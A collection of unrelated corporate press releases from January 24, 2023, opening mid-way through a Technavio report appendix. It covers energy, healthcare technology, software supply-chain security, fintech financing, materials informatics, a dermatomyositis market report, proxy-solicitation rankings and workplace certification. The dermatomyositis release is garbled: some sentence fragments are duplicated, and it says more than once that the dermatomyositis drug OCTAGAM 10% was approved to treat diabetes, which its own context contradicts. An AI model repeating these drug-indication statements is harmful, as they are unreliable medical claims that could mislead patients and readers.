Exhibit 159: Wilmar International Ltd. - Segment focus

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 160: Inclusions checklist



Exhibit 161: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 162: Currency conversion rates for US$

13.4 Research methodology

Exhibit 163: Research methodology



Exhibit 164: Validation techniques employed for market sizing



Exhibit 165: Information sources

13.5 List of abbreviations

Exhibit 166: List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

Contact

Technavio Research

Jesse Maida

Media & Marketing Executive

US: +1 844 364 1100

UK: +44 203 893 3200

Email: [email protected]

Website: www.technavio.com

SOURCE Technavio
Company Commits to Helping Decarbonize the Grid by Maximizing the Value of its Customers Distributed Energy Resources Through a Customer-Powered Grid

BALTIMORE, Jan. 24, 2023 /PRNewswire/ -- CPower Energy (" CPower "), the national leader in unlocking the power of customer Distributed Energy Resources (DERs), today announced it has joined the 24/7 Carbon-free Energy Compact. The 24/7 Carbon-free Energy Compact is an ambitious effort coordinated by the United Nations, Sustainable Energy for All, and a growing list of signatories from companies, organizations, and governments around the world to accelerate the decarbonization of the world's electricity systems in line with the UN's Sustainable Development Goal 7 (SDG7).

As part of its commitment for the 24/7 Carbon-free Energy Compact, CPower is aiming to decarbonize the grid by maximizing the value of its customers' DERs through a Customer-Powered Grid  an interconnected grid that is less reliant on fossil fuels and created by aggregating energy users' DERs to reduce demand on the grid. Through its work with the 24/7 Carbon-free Energy Compact, CPower intends to demonstrate how automation can allocate clean energy sources to address multiple grid needs; how organizations can reduce carbon emissions through DER flexibility; and to further advocate for policy that prioritizes the clean energy transition.

"As we transition to a Customer-Powered Grid that will define our clean energy future, cross-industry collaboration is essential. Our customers have the opportunity to decarbonize their operations and their sectors, while also greening the grid to help define the quality of life and future of millions of people across the country. We look forward to working with those that are a part of the Compact to continue to accelerate the energy transition," said John Horton, President and CEO, CPower.

"The world is at a crossroads; we need to take rapid action today to create a sustainable and equitable future for all. The Carbon Free-Energy (CFE) compact has created new momentum in the race to decarbonize global electricity grids. UN-Energy together with other leading organizations and governments launched the 24/7 CFE Compact at the High-level Dialogue on Energy and our collective partnership through this compact has been critical in propelling us closer to a world where everyone, everywhere, can benefit from clean energy," Damilola Ogunbiyi, CEO and Special Representative of the UN Secretary-General for Sustainable Energy for All.

With 6.3 GW of DER capacity across the US, CPower helps energy users --- ranging from big box retailers, hospitals, schools, government, heavy industry, data centers, crypto miners, commercial real estate developers, to owners and developers of commercial and residential solar, storage and EVs --- reduce their emissions, further ESG initiatives and counter the impacts of climate change through various grid flexibility and reliability solutions.

For more information on today's announcement, watch this statement from Mr. Horton: http://bit.ly/CPowerJoins247CFECompact.

About CPower Energy

CPower Energy is the national leader of grid balancing and reliability solutions, creating a Customer-Powered Grid that will enable a flexible, clean and dependable energy future. With 6.3 GW of capacity at more than 17,000 sites across the U.S., we unlock the full value of distributed energy resources to strengthen the grid when and where it's needed most. CPower is based in Baltimore, Maryland and is owned by LS Power, a development, investment, and operating company focused on the power and energy infrastructure sector. For more information, visit: www.cpowerenergymanagement.com .

About UN-Energy

The UN-Energy is the United Nations' mechanism for inter-agency collaboration in the field of energy, established by the UN System Chief Executives Board for Coordination (CEB) in 2004 as the United Nations' mechanism for inter-agency collaboration in the field of energy. UN-Energy seeks to act to support countries in achieving SDG7 and the interrelated goals of the Paris Climate Agenda and the broader SDG agenda.

About Sustainable Energy for All

Sustainable Energy for All (SEforALL) is an international organization that works in partnership with the United Nations and leaders in government, the private sector, financial institutions, civil society and philanthropies to drive faster action towards the achievement of Sustainable Development Goal 7 (SDG7)  access to affordable, reliable, sustainable and modern energy for all by 2030  in line with the Paris Agreement on climate.

SOURCE CPower Energy Management
Collaboration supports shift to Value-Based Care and focus on innovative solutions to advance accessible, affordable, quality care

ANNAPOLIS, Md., Jan. 24, 2023 /PRNewswire/ -- Curation Health  creators of a value-based care platform facilitating provider-plan collaboration, has announced a strategic partnership with University of Maryland Medical System and CareFirst BlueCross BlueShield (CareFirst). This collaboration supports UMMS, CareFirst and Curation Health's shared commitment to improving population health and wellness and reducing the total cost of care through success in value-based care programs and innovation.

The Curation Health platform supports the provider workflow by integrating clinically relevant data from multiple sources into point-of-care workflow tools for closure of clinical and quality gaps over time. When providers have access to data insights that are synthesized and relevant, they get to spend more time delivering care and building meaningful patient relationships. The Curation Health platform will support the network through a piloted project with primary care providers at the University of Maryland St. Joseph Medical Group, a network of physicians affiliated with the University of Maryland St. Joseph Medical Center. This is the first project to come out of UMMS and CareFirst's five-year partnership to drive innovation and improve the health experience and outcomes for all populations.

When providers have access to data insights, they spend more time delivering quality patient care. Tweet this

"UMMS and CareFirst have such a strong partnership and reputation for innovation. As a provider of a technology platform to support their value-based care journey, we're really excited to partner with them to launch, scale and sustain value-based care performance for both organizations," said Kevin Coloton, Founder & CEO at Curation Health.

"A large portion of our physicians' workday is spent managing administrative tasks," said Stephanie Selby, Vice President of Clinical Operations at UMMS. "We expect that implementing technology-focused solutions such as the Curation Health platform will help lessen the amount of time that physicians need to spend on these administrative tasks, allowing them to focus on what's most importanttheir patient's care."

CareFirst's expertise in provider and population performance measurement supports UMMS' key strategic objectives to better orient its hospitals and community practices for population health activities and clinical integration. This will result in better performance on clinical, quality, affordability and patient experience measures for all of the people served by both organizations.

"This collaboration supports our shared goal to identify barriers to access for quality healthcare in our region," said Tich Changamire, Chief Medical Officer, CareFirst. "The gained insights will guide creative and impactful ways to empower patients at greatest risk while improving the overall health and wellness of the region we serve."

For more information on Curation Health and their prospective risk adjustment platform for value-based care, visit: curationhealth.co

About Curation Health

Curation Health was founded by a team of healthcare veterans and clinicians to help providers and health plans effectively navigate the transition from fee-for-service to value-based care. Our prospective risk adjustment platform for value-based care drives quality program performance by curating relevant insights from disparate sources and delivering them in real time to clinicians and care teams. With Curation Health, clinicians enjoy a streamlined, comprehensive clinical documentation process that enables better clinical and financial outcomes while simultaneously reducing clinical administrative burdens on providers. We take pride in combining the flexibility and speed of a startup with decades of leadership experience and know-how from roles in leading services companies including Clinovations, Evolent Health, and The Advisory Board Company. For more information on Curation Health, visit: curationhealth.co

About the University of Maryland Medical System

The University of Maryland Medical System (UMMS) is an academic private health system, focused on delivering compassionate, high quality care and putting discovery and innovation into practice at the bedside. Partnering with the University of Maryland School of Medicine and University of Maryland, Baltimore who educate the state's future health care professionals, UMMS is an integrated network of care, delivering 25 percent of all hospital care in urban, suburban and rural communities across the state of Maryland. UMMS puts academic medicine within reach through primary and specialty care delivered at 11 hospitals, including the flagship University of Maryland Medical Center, the System's anchor institution in downtown Baltimore, as well as through a network of University of Maryland Urgent Care centers and more than 150 other locations in 13 counties. For more information, visit www.umms.org.

About CareFirst BlueCross BlueShield

In its 85th year of service, CareFirst, an independent licensee of the Blue Cross and Blue Shield Association, is a not-for-profit healthcare company which, through its affiliates and subsidiaries, offers a comprehensive portfolio of health insurance products and administrative services to 3.6 million individuals and employers in Maryland, the District of Columbia and Northern Virginia. In 2021, CareFirst invested $26.2 million to improve overall health, and increase the accessibility, affordability, safety and quality of healthcare throughout its market areas. To learn more about CareFirst BlueCross BlueShield, visit our website at www.carefirst.com and our transforming healthcare page at www.carefirst.com/transformation , or follow us on Facebook , Twitter , LinkedIn or Instagram .

SOURCE Curation Health
TORONTO, Jan. 24, 2023 /PRNewswire/ - Cybeats Technologies Corp. ("Cybeats'' or the "Company") (CSE: CYBT) is pleased to announce the signing of a three-year software licence agreement for Cybeats SBOM Studio1 with a global leader in building technology and industrial automation, to manage their Software Bill of Materials (SBOM) and improve security across the software supply chain.

This multi-year agreement will see SBOM Studio deployed by one of the world's leading providers of building technology, software, and services for hospitals, schools, data centres, airports, stadiums and manufacturing industries worldwide. This agreement is the largest commercial agreement to date for Cybeats, exceeding the Company's previously announced largest contract to date2, and marks the third major contract with a multi-billion dollar global industrial technology leader, positioning the company for continued growth across this large industry vertical.

"SBOM Studio continues to demonstrate its immediate value and industry-leading capabilities across several critical infrastructure sectors which is translating into commercial success," said Yoav Raiter, CEO, Cybeats. "Industrial technology is amongst the most vulnerable targets for software supply chain attacks, and having several Fortune 500 industry leaders choosing SBOM Studio provides us the evidence we need to rapidly scale growth in this sector and beyond."

"SBOM management is essential to securing mission-critical systems and the integrity of software supply chains. With this agreement, SBOM Studio has further entrenched its value and capabilities in the ICS and BMS sector, where transparency in the software supply chain is essential to both SBOM producers and consumers," said Dmitry Raidman, CTO, Cybeats. "Cybeats' platform offers the necessary scalability and accuracy for our customers to identify vulnerabilities and potential security risks in the software dependencies used by their systems, and helps them comply with upcoming regulations and stay ahead of industry standards."

The agreement was executed on January 17, 2023, entails over six figures of annual recurring revenue, and comes just days after Cybeats penetrated the healthcare sector with the announcement of a contract with a top 3 global medical device and diagnostics company.3 The new client offers one of the world's largest portfolio's of building technology and services such as fire prevention, HVAC, building automation, and industrial controls.



"We are thrilled to sign this large client and add yet another prominent industry leader of this size and caliber to our client roster which helps galvanize our position in the building and infrastructure sector," said Bob Lyle, CRO, Cybeats. "SBOM Studio has received invaluable customer recognition from sector leaders across a diverse range of industry verticals from industrial technology and healthcare, to automotive and advertising technology, and we expect to see continued commercial traction as awareness of Cybeats builds."

Upcoming Events

Join us at the CISO Forum Canada in Toronto, Ontario from January 30 to 31 as Cybeats leads a panel discussion on Software Supply Chain Security with cybersecurity leaders from CN Rail, Craft Ventures and SAP: https://www.siberx.org/event/ciso-forum-canada-2023/

Join us at the Fira Gran Via, Barcelona from 27 February  2 March, 2023 at MWC Barcelona4, the world's most influential exhibition for the device connectivity and security industry: https://www.mwcbarcelona.com/

Come meet us at S4x23 in Miami February 13-16! Discover new ideas and come up with innovative ways to use these new ideas to deploy secure and resilient industrial control systems5: https://s4xevents.com/

About SBOM Studio

Cybeats' SBOM Studio enables organizations to efficiently manage, distribute, and view their software bill of materials (SBOMs) in a single interface. By doing so, they can easily identify and address cybersecurity vulnerabilities, reduce the cost of protection, and improve compliance. SBOM Studio is specifically designed to support software producers and consumers who use open source and 3rd party software components and who are transitioning to more transparent software development practices. The tool is compatible with various SBOM generation tools and can validate and correct imported SBOMs to improve their accuracy.

About Cybeats

Cybeats is a cybersecurity company providing SBOM management and software supply chain intelligence technology, helping organizations to manage risk, meet compliance requirements, and secure their software from procurement to development and operation. Our platform gives customers comprehensive visibility and transparency into their software supply chain, enabling them to improve operational efficiency and increase revenue. Cybeats. Software Made Certain. Website: https://cybeats.com

SUBSCRIBE: For more information, or to subscribe to the Company's mail list, visit: https://www.cybeats.com/investors

Forward-looking Information Cautionary Statement

Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the CSE. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for the technology described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Company filings are available at sedar.com.

SOURCE Cybeats Technologies Corp.
Funds will be used to drive growth, product innovation and international expansion for the leading on-demand pay provider

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- DailyPay, a leading financial technology company, today announced it has secured $260 million of capital to fuel growth domestically, expand internationally and further invest in product innovation. The funding is divided between revolving credit facility capacity provided by Barclays and Angelo Gordon, and new term loan funding from SVB Capital and a fund managed by Neuberger Berman.

DailyPay first announced a $300 million revolving credit facility from Barclays in March 2022. The additional revolving credit facility capacity ($100 million provided by Barclays and $60 million from Angelo Gordon) provides DailyPay with more capital to service its ever-growing roster of clients. The $100 million in term loan funding will be invested to fuel DailyPay's continued product innovation and to accelerate growth.

The fundraise announcement comes five months after Kevin Coop joined DailyPay as Chief Executive Officer. In his first five months as CEO, DailyPay has significantly grown its roster of clients and has seen meaningful revenue growth.

"On-demand pay has proven to be a transformational financial wellness benefit for employers and their employees, and DailyPay is the proven market-leader. Now, our opportunity lies in capturing more of the market, which is overwhelmingly vast green space," said Kevin Coop, Chief Executive Officer of DailyPay. "Our track record of trust and investment from the world's leading financial institutions validates our business model and path forward. This latest funding further propels us to a position of strength."

Latham & Watkins LLP advised DailyPay on the financing transactions.

DailyPay partners with leading employers across various industries, including Fortune 500 companies such as Hilton, Target, Kroger and Dollar Tree. The company's modern, insight-driven pay strategies help companies activate their workforce and build stronger relationships with their employees, who feel more engaged, work harder, and stay longer.

About DailyPay

DailyPay, Inc., powered by its industry-leading technology platform, is on a mission to build a new financial system for everyone. DailyPay delivers the industry's leading on-demand pay solution with modern, insight-driven pay strategies that help America's leading employers to activate their workforce and build stronger relationships with their employees, so they feel more engaged, work harder, and stay longer. DailyPay is headquartered in New York City, with operations based in Minneapolis and Belfast. For more information, visit www.dailypay.com/press .

Media Contact

David Schwarz

[email protected]

Gabriella Lourie

[email protected]

SOURCE DailyPay
BOSTON, Jan. 24, 2023 /PRNewswire/ -- The materials industry is sometimes described as conservative, but digital transformation is well underway in the sector. Materials informatics  the application of data-centric approaches, including machine learning, to materials R&D  has the potential to be the most impactful arm of this process.

IDTechEx's report segments end-users of materials informatics into the above categories, weighing up the benefits of different strategic approaches. Source: IDTechEx

Not only can materials informatics (MI) accelerate the 'forward' direction of innovation (properties are predicted for an input material), but sometimes even the idealized 'inverse' direction (materials are designed given desired properties). Given its potential to revolutionize materials development, it is little wonder that IDTechEx forecasts the market for the provision of external MI services to grow at 13.7% CAGR by 2033.

During research interviews for their recent report "Materials Informatics 2023-2033", industry insiders frequently told IDTechEx that a core problem in developing an MI solution is that materials scientists are rarely data scientists and vice versa. As a firm newly looking to employ MI, buying into a SaaS (software-as-a-service) platform from an external provider is often an attractive approach to bridging this gap, giving materials scientists a pre-built architecture to develop their own MI projects within.

A full toolkit, from data gathering to machine learning analysis to visualization of results, is often given to users of these platforms, sometimes with little to no need to employ coding skills. This might sound like a magic bullet  why, then, are SaaS platforms not the universal approach to MI?

Using a SaaS package for MI projects lowers skill barriers, allowing companies that may not otherwise have had the internal expertise to apply machine learning to materials development. This, surprisingly, is not universally seen as beneficial. Materials giants with sufficient resources may prefer to build their own internal skillsets, software, and platforms as part of their own custom-tailored digital transformation  specialist consultancy firms like Enthought even exist to aid in the task. These giants may feel they are able to differentiate and break new ground beyond what is possible with an off-the-shelf platform. Given the diverse range of problems within materials science, it could be argued that a targeted approach is sometimes more valuable than a one-stop shop, despite the higher investment required.

3M has been particularly public about its efforts in this area, with the company saying this forced it to overhaul its approach to data infrastructures and has yielded positive results with adhesive formulations. A few major players, like Hitachi, have even chosen to deploy their own internally developed MI platforms to other firms via a SaaS approach.

Of course, multibillion-dollar giants also employ SaaS platforms: two cherrypicked examples include LyondellBasel working with Citrine Informatics and TotalEnergies with Uncountable Inc. When interviewed, both Citrine and Uncountable told IDTechEx that they are seeing increasing interest in MI services from industry titans, likely as a scramble continues to not get left behind in the race for digital transformation. Some of these players could even be looking to acquire SaaS providers to internalize their expertise.

This speaks to another reason that not everyone trusts buy-in to a SaaS platform: if a SaaS provider ceases trading, newly-ingrained methods of working with materials data could suddenly become useless. Furthermore, despite extensive efforts by MI SaaS providers to demonstrate their data security expertise, some materials firms may still struggle to trust these companies to handle the data that has become their most valuable commodity.

MI SaaS players are aware of these potential headwinds, with most choosing to meet them head-on. However, some are choosing an alternative approach: Kebotix, whose ChemOS-Pro software offers an 'operating system for self-driving labs', is pivoting towards generating its own materials IP, switching its target customers from the materials and chemical industries to OEMs. This shifts more of the value chain into the company's hands but exposes it to greater project risk and increases capital requirements since it now must conduct experimental work and product qualification itself. This has not stopped firms focusing on this approach from raising large amounts of capital, with OTI Lumionics raising US$55M in October 2022.

SaaS platforms are likely to remain the first port of call for many that look to add machine learning into their materials development pipelines, but the alternative approaches briefly discussed here are just some of the many strategies outlined in IDTechEx's report "Materials Informatics 2023-2033", which is now in its third edition since IDTechEx began covering the field in 2020. Informed by first-hand interviews with the industry's major players, the report provides market forecasts, player profiles, investments, roadmaps, and comprehensive company lists, making this essential reading for anyone wanting to get ahead in this field.

To find out more about IDTechEx's technical and commercial analysis of the materials informatics industry and our extensive portfolio of detailed market research across a wide range of emerging technologies, please contact [email protected].

About IDTechEx

IDTechEx guides your strategic business decisions through its Research, Subscription and Consultancy products, helping you profit from emerging technologies. For more information, contact [email protected] or visit www.IDTechEx.com.

Images Download:

https://www.dropbox.com/scl/fo/ei508bt6kylrob2wsr9v8/h?dl=0&rlkey=pmznd4428mk3rfvm59jckvzx2

Media Contact:

Lucy Rogers

Sales and Marketing Administrator

[email protected]

+44(0)1223 812300

Social Media Links:

Twitter: www.twitter.com/IDTechEx

LinkedIn: www.linkedin.com/company/IDTechEx

Facebook: www.facebook.com/IDTechExResearch

Photo: https://mma.prnewswire.com/media/1988182/IDTechEx.jpg

Logo: https://mma.prnewswire.com/media/478371/IDTechEx_Logo.jpg

SOURCE IDTechEx
The dynamics of the dermatomyositis market are anticipated to change in the coming years owing to the improvement in the rise in a number of healthcare spending across the world and rising cases of DM. Key players, such as Priovant Therapeutics, CSL Behring, Alexion Pharmaceuticals, AstraZeneca, Argenx, and others, are involved in developing drugs for dermatomyositis treatment

LAS VEGAS, Jan. 24, 2023 /PRNewswire/ -- DelveInsight's Dermatomyositis Market Insights report includes a comprehensive understanding of current treatment practices, dermatomyositis emerging drugs, market share of individual therapies, and current and forecasted market size from 2019 to 2032, segmented into 7MM [the United States, the EU-4 (Italy, Spain, France, and Germany), the United Kingdom, and Japan].

Key Takeaways from the Dermatomyositis Market Report

As per DelveInsight analysis, the dermatomyositis market size in the 7MM was approximately USD 175 million in 2021.

in 2021. According to the assessment done by DelveInsight, the estimated total dermatomyositis prevalent population in the 7MM was approximately 61K in 2021.

in 2021. Globally, leading dermatomyositis companies such as Priovant Therapeutics, CSL Behring, Alexion Pharmaceuticals, AstraZeneca, Argenx, Pfizer, Janssen, Corbus Pharmaceuticals, Kezar Life Sciences, Horizon Therapeutics, PAEAN Biotechnology , and others are developing novel dermatomyositis drugs that can be available in the dermatomyositis market in the coming years.

, and others are developing novel dermatomyositis drugs that can be available in the dermatomyositis market in the coming years. The promising dermatomyositis therapies in the pipeline include brepocitinib, HIZENTRA (immune globulin), ULTOMIRIS (ravulizumab), efgartigimod PH20, PF-06823859 , and others.

and others. According to Pfizer's November 2022 pipeline report, PF-06823859 has several designations, including ODD in the US AND Europe.

pipeline report, PF-06823859 has several designations, including ODD in the US AND Europe. In December 2018 , US FDA granted ODD to HIZENTRA for the treatment of DM.

Discover which therapies are expected to grab the major dermatomyositis market share @ Dermatomyositis Market Report

Dermatomyositis Overview

Dermatomyositis is a rare inflammatory disease with distinctive cutaneous findings and varying degrees of systemic involvement; it can occur in both juvenile and adult forms. Adult and juvenile dermatomyositis share pathognomic skin rash and muscle inflammation, but they are distinct diseases with unique disease features and complications.

While the clinical presentation of JDM differs from that of adults, the skin lesions are similar, except for an increased incidence of calcinosis cutis in juvenile patients. Low-grade fever, an increased risk of gastrointestinal manifestations, and symmetric arthritis of the large and small joints are all common findings.

The underlying cause of dermatomyositis is unknown; however, evidence suggests that genetic, immune, and environmental factors all play a role. A detailed patient history, thorough clinical examination, detection of characteristic physical findings, and certain specialized tests are used to make the diagnosis. Creatinine kinase levels are less likely to be elevated in JDM than in adult dermatomyositis.

Dermatomyositis Epidemiology Segmentation

DelveInsight estimates that there were approximately 61K prevalent cases of dermatomyositis in the 7MM in 2021.

Among the EU4 and the UK, the highest number of prevalent cases of DM were in Germany, i.e., ~4,900 cases in the year 2021, which are estimated to rise by 2032.

The dermatomyositis market report proffers epidemiological analysis for the study period 20192032 in the 7MM segmented into:

Total Prevalent Cases

Total Diagnosed Prevalent Cases

Gender-specific Diagnosed Prevalent Cases

Age-specific Diagnosed Prevalent Cases

Severity-specific Diagnosed Prevalent Cases

Classification-Specific Diagnosed Prevalent Cases

Chronicity-Specific Diagnosed Prevalent Cases

Co-morbidity-Specific Diagnosed Prevalent Cases

Treated Cases

Download the report to understand which factors are driving dermatomyositis epidemiology trends @ Dermatomyositis Epidemiological Insights

Dermatomyositis Treatment Market

The goal of dermatomyositis treatment is to decrease inflammation and vasculitis, as well as to reduce symptomatology and improve the patient's quality of life. To accomplish this goal, a dermatomyositis treatment regimen must be initiated early in the disease process and will necessitate an interprofessional approach to therapy. The administration of steroids is used to treat dermatomyositis. A high prednisolone dose must also be started early to improve muscle weakness. Steroid therapy should relieve symptoms within 4 weeks, after which the steroid dosage should be gradually tapered to 1 mg/kg every other day over a 10-week period. When prednisone is not an option, second-line agents such as methotrexate and azathioprine may be used.

Patients who develop resistance to therapy may benefit from rituximab, IVIG, and other biologics. Antipruritics, topical steroids, hydroxychloroquine, and steroids may be used to treat superficial skin diseases. The FDA approved OCTAGAM 10%, a 10% solution of intravenous human immunoglobulin (IVIG), to treat adults with diabetes last year. The approval was based on the findings of the Progress in Dermatomyositis (ProDERM) study. More recently, the FDA Office of Orphan Product Development granted Octapharma, the manufacturer of OCTAGAM 10%, 7 years of marketing exclusivity for this product, which is the first and only IVIG treatment for adult dermatomyositis.

To know more about dermatomyositis treatment guidelines, visit @ Dermatomyositis Management

Dermatomyositis Pipeline Therapies and Key Companies

Brepocitinib: Priovant Therapeutics

HIZENTRA (immune globulin): CSL Behring

ULTOMIRIS (ravulizumab): Alexion Pharmaceuticals/AstraZeneca

Efgartigimod PH20: Argenx

PF-06823859: Pfizer

Nipocalimab: Janssen

Learn more about the FDA-approved drugs for dermatomyositis @ Drugs for Dermatomyositis Treatment

Dermatomyositis Market Dynamics

The dynamics of the dermatomyositis market is anticipated to change in the future due to the improvement in the rise in the number of healthcare spending across the world and rising cases of dermatomyositis. Moreover, There has been a significant increase in knowledge and understanding of diabetes in recent years, which is increasingly being considered when making therapeutic decisions. Better prognostic markers would allow physicians to diagnose and treat at the onset of disease, potentially preventing disease progression. In addition, R&D to understand the diversity of the disease may improve diagnosis.

Furthermore, as dermatomyositis is a rare disorder, companies developing drugs in this area can charge a premium, which will further improve the dermatomyositis market growth. Moreover, limitations in current dermatomyositis drug therapies may eventually necessitate the need for more and more dependable treatment, which may also fuel the dermatomyositis market growth in the future.

However, certain factors will likely impede the growth of the dermatomyositis market. The dermatomyositis treatment is centered on the use of corticosteroids and immunosuppressants; however, only OCTAGAM 10% is approved to treat diabetes, and many pharmacological treatments are used off-label. Furthermore, due to the high disease heterogeneity, there is a lack of standardized treatment, which impedes the dermatomyositis market for drugs.

Moreover, dermatomyositis affects the patient's quality of life, resulting in lost productivity and a high level of disability associated with dermatomyositis treatment management. Comorbidities such as infections, cardiovascular disease, cerebrovascular comorbidities, and others have high associated treatment costs. Hence, all these factors mentioned above are likely to hamper the dermatomyositis market growth.

Report Metrics Details Study Period 20192032 Coverage 7MM [the United States, the EU-4 (Italy, Spain, France, and Germany), the United Kingdom, and Japan]. Base Year 2019 Dermatomyositis Market CAGR 11 % Dermatomyositis Market Size in 2021 USD 175 Million Key Dermatomyositis Companies Priovant Therapeutics, CSL Behring, Alexion Pharmaceuticals, AstraZeneca, Argenx, Pfizer, Janssen, Corbus Pharmaceuticals, Kezar Life Sciences, Viela Bio, PAEAN Biotechnology, and others Key Pipeline Dermatomyositis Therapies Brepocitinib, HIZENTRA (immune globulin), ULTOMIRIS (ravulizumab), Efgartigimod PH20, PF-06823859, Nipocalimab, and others

Scope of the Dermatomyositis Market Report

Therapeutic Assessment: Dermatomyositis current marketed and emerging therapies

Dermatomyositis current marketed and emerging therapies Dermatomyositis Market Dynamics: Dermatomyositis market drivers and barriers

Dermatomyositis market drivers and barriers Competitive Intelligence Analysis: SWOT analysis, PESTLE analysis, Porter's five forces, BCG Matrix, Market entry strategies

SWOT analysis, PESTLE analysis, Porter's five forces, BCG Matrix, Market entry strategies Unmet Needs, KOL's views, Analyst's views, Dermatomyositis Market Access and Reimbursement

Discover more about dermatomyositis drugs in development @ Dermatomyositis Clinical Trials

Table of Contents

1. Dermatomyositis Market Key Insights 2. Dermatomyositis Market Report Introduction 3. Dermatomyositis Market Overview at a Glance 4. Dermatomyositis Market Executive Summary 5. Disease Background and Overview 6. Dermatomyositis Treatment and Management 7. Dermatomyositis Epidemiology and Patient Population 8. Patient Journey 9. Dermatomyositis Marketed Drugs 10. Dermatomyositis Emerging Drugs 11. Seven Major Dermatomyositis Market Analysis 12. Dermatomyositis Market Outlook 13. Potential of Current and Emerging Therapies 14. KOL Views 15. Dermatomyositis Market Drivers 16. Dermatomyositis Market Barriers 17. Unmet Needs 18. SWOT Analysis 19. Appendix 20. DelveInsight Capabilities 21. Disclaimer 22. About DelveInsight

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SOURCE DelveInsight Business Research, LLP
As published in Prospect News, D.F. King & Co., Inc., an Equiniti company, was once again ranked the number one information agent for U.S. markets and all issuers globally in 2022.

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- For the third straight year, D.F. King & Co., Inc. celebrates the company's number one ranking among information agents for U.S. markets and all issuers by Prospect News's 2022 Liability Management Rankings.

D.F. King took top honors in the U.S. with 152 transactions with a value of $115 billion, representing a 43.5% market share, surpassing the shares of the next two largest information agents combined. Additionally, D.F. King led the global market, handling 199 transactions with a value of $129 billion, representing a 30.5% market share.

D.F. King continues to be the leading information agent in liability management through perpetual investments in technology, infrastructure and comprehensive service capabilities. This led the company to continually expand its resources and activity and, as a result, claim the number one position in the industry by measures of deal volume and size on a national and global level.

"It's an honor to be recognized as a leader among our peers," said Kristian Klein, Senior Managing Director at D.F. King. "From our leadership team to our support staff, we take so much pride in the work we do, and that's why our clients continue to trust us to provide best-in-class service and solutions."

D.F. King's world-class technology suite includes an elaborate proprietary database and analytical capabilities. Managed by a team of seasoned experts, the platform produces sophisticated situational analyses, formulating solutions designed to position clients for optimal outcomes. D.F. King offers a full suite of consulting, proxy solicitation and information agent solutions to deliver favorable outcomes and positive momentum in a time where shareholder pressure and the corporate governance landscape can present complex challenges to corporate boards.

"2022 was a momentous year for our clients and our team at D.F. King," said Tom Germinario, Senior Managing Director at D.F. King. "As the corporate landscape continues to evolve following multiple years of change and disruption, our work is vital in establishing a sense of clarity and security for our clients."

About D.F. King, an Equiniti Company: D.F. King, an Equiniti company, is a globally-recognized leader in proxy solicitation, financial communications and corporate governance consulting. With unparalleled experience in merger votes, proxy contests and tender/exchange offers for corporate control, the firm has advised corporations, shareholder groups, investment bankers and securities attorneys for over 70 years. Internationally and domestically, from cross-border acquisitions to bankruptcy reorganizations, D.F. King has played a role in many of the highest-profile corporate transformations. Learn more at www.dfking.com.

About EQ + AST: EQ + AST are the partners of choice across all stages of the corporate lifecycle. Together, we are a leading provider of ownership data management, analytics and advisory services to public and private companies as well as corporate issuers and mutual funds. EQ + AST offer a comprehensive product set, including transfer agency services, cap table management, equity compensation services, proxy solicitation and advisory services, private company solutions and bankruptcy claims administration services. Affiliates include, D.F. King and Co., Inc., AST Private Company Solutions, Inc., and Donlin, Recano & Company, Inc. Learn more at www.astfinancial.com and www.equiniti.com/us.

Brian Hart

Flackable

(866) 225-0920 ext. 101

[email protected]

SOURCE D.F. King
Compared to 57% of employees at a typical U.S.-based company, 86% praise eAssist as a Great Place to Work in 2022

SALT LAKE CITY, Jan. 24, 2023 /PRNewswire/ -- eAssist Dental Solutions , the nation's leading platform for remote dental billing and patient billing services for dental offices, is proud to be Certified by Great Place to Work for the third year in a row. The prestigious award is based on what eAssist employees say about their experience working at eAssist. This year, 86% of eAssist employees said it's a great place to work compared to 57% of employees at a typical U.S.-based company.

eAssist Dental Solutions

Great Place to Work is the global authority on workplace culture, employee experience, and leadership behaviors proven to deliver market-leading revenue, employee retention and increased innovation.

"Great Place to Work Certification isn't something that comes easily  it takes ongoing dedication to the employee experience," said Sarah Lewis-Kulin, vice president of global recognition at Great Place to Work. "It's the only official recognition determined by employees' real-time reports of their company culture. Earning this designation means that eAssist is one of the country's best companies to work for."

"We are enormously gratified to be acknowledged as a Great Place to Work for a third consecutive year," said Dr. James V. Anderson, CEO, and Co-founder of eAssist. "Among other things, it means that our amazing people recognize how much we care and that they continue to benefit from a consistently positive, high-trust experience with their eAssist colleagues, leadership team, and customers."

Additional high marks include that 92% of eAssist employees say they have a lot of responsibility, 91% feel a sense of pride in what the company accomplishes, and 90% are proud to tell others they work at eAssist.

According to Great Place to Work research , job seekers are 4.5 times more likely to find a great boss at a Certified great workplace. Additionally, employees at Certified workplaces are 93% more likely to look forward to coming to work, and are twice as likely to be paid fairly, earn a fair share of the company's profits, and have a fair chance at promotion. Check out eAssist and other Great Place To Work companies based in Utah.

WE'RE HIRING!

Looking to grow your future at a company that puts its people first? Visit our careers page at: https://eassistcareers.com/

About eAssist Dental Solutions

eAssist Dental Solutions, a Henry Schein company, is the nation's leading platform for remote dental billing and patient billing services for dental offices. eAssist serves thousands of dental practices through a proprietary technology platform that connects them to vetted dental billing specialists, allowing practice owners to fully outsource their billing department. The end-to-end solution enhances a dental practice's revenue cycle management and eases the burden on office staff, ultimately helping practices be more efficient, profitable, and patient-focused.

To learn more, visit: www.dentalbilling.com , Facebook.com/eAssistMe , and @eAssist.me on Instagram

About Great Place to Work Certification
